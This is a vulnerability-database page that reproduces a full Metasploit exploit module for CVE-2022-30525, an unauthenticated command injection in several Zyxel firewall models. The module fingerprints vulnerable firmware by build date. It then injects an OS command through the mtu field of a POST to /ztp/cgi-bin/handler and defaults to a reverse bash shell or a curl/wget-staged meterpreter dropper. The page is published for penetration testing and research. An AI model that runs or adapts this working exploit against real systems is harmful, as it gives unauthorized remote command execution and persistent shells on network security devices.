Lucene search
K

Zyxel Firewall ZTP Unauthenticated Command Injection

🗓️ 16 May 2022 00:00:00Reported by jbaines-r7, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 397 Views

Zyxel Firewall ZTP Unauthenticated Command Injection affecting various model

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',  
'Description' => %q{  
This module exploits CVE-2022-30525, an unauthenticated remote  
command injection vulnerability affecting Zyxel firewalls with zero  
touch provisioning (ZTP) support. By sending a malicious setWanPortSt  
command containing an mtu field with a crafted OS command to the  
/ztp/cgi-bin/handler page, an attacker can gain remote command execution  
as the nobody user.  
  
Affected Zyxel models are:  
  
* USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below  
* USG20-VPN and USG20W-VPN using firmware 5.21 and below  
* ATP 100, 200, 500, 700, 800 using firmware 5.21 and below  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'jbaines-r7' # Vulnerability discovery and Metasploit module  
],  
'References' => [  
[ 'CVE', '2022-30525' ],  
[ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']  
],  
'DisclosureDate' => '2022-04-28',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_MIPS64,],  
'Privileged' => false,  
'Targets' => [  
[  
'Shell Dropper',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_MIPS64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'curl', 'wget' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
# Checks the build date that is embedded in the landing page. If it finds a build  
# date older than April 20, 2022 then it will additionally check if the model is  
# a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this  
# seems like a reasonable approach.  
def check  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))  
unless res  
return CheckCode::Unknown('The target failed to respond to check.')  
end  
  
unless res.code == 200  
return CheckCode::Safe('Failed to retrieve /')  
end  
  
ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]  
if ver.nil?  
return CheckCode::Safe('Could not extract a version number')  
end  
  
if ver[0..5].to_i < 220420  
model = res.get_html_document.xpath('//title').text  
if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))  
return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")  
end  
end  
  
CheckCode::Safe("This determination is based on the build date string: #{ver}.")  
end  
  
def execute_command(cmd, _opts = {})  
handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')  
print_status("Sending command to #{handler_uri}")  
  
# this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too  
# but it's more involved.  
http_payload = {  
'command' => 'setWanPortSt',  
'proto' => 'dhcp',  
'port' => Rex::Text.rand_text_numeric(4).to_s,  
'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,  
'vlanid' => Rex::Text.rand_text_numeric(4).to_s,  
'mtu' => ";#{cmd};",  
'data' => ''  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => handler_uri,  
'headers' =>  
{  
'Content-Type' => 'application/json; charset=utf-8'  
},  
'data' => http_payload.to_json  
})  
# Successful exploitation can result in no response (connection being held open by a reverse shell)  
# or, if the command executes immediately, a response with a 503.  
if res && res.code != 503  
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")  
end  
print_good('Command successfully executed.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation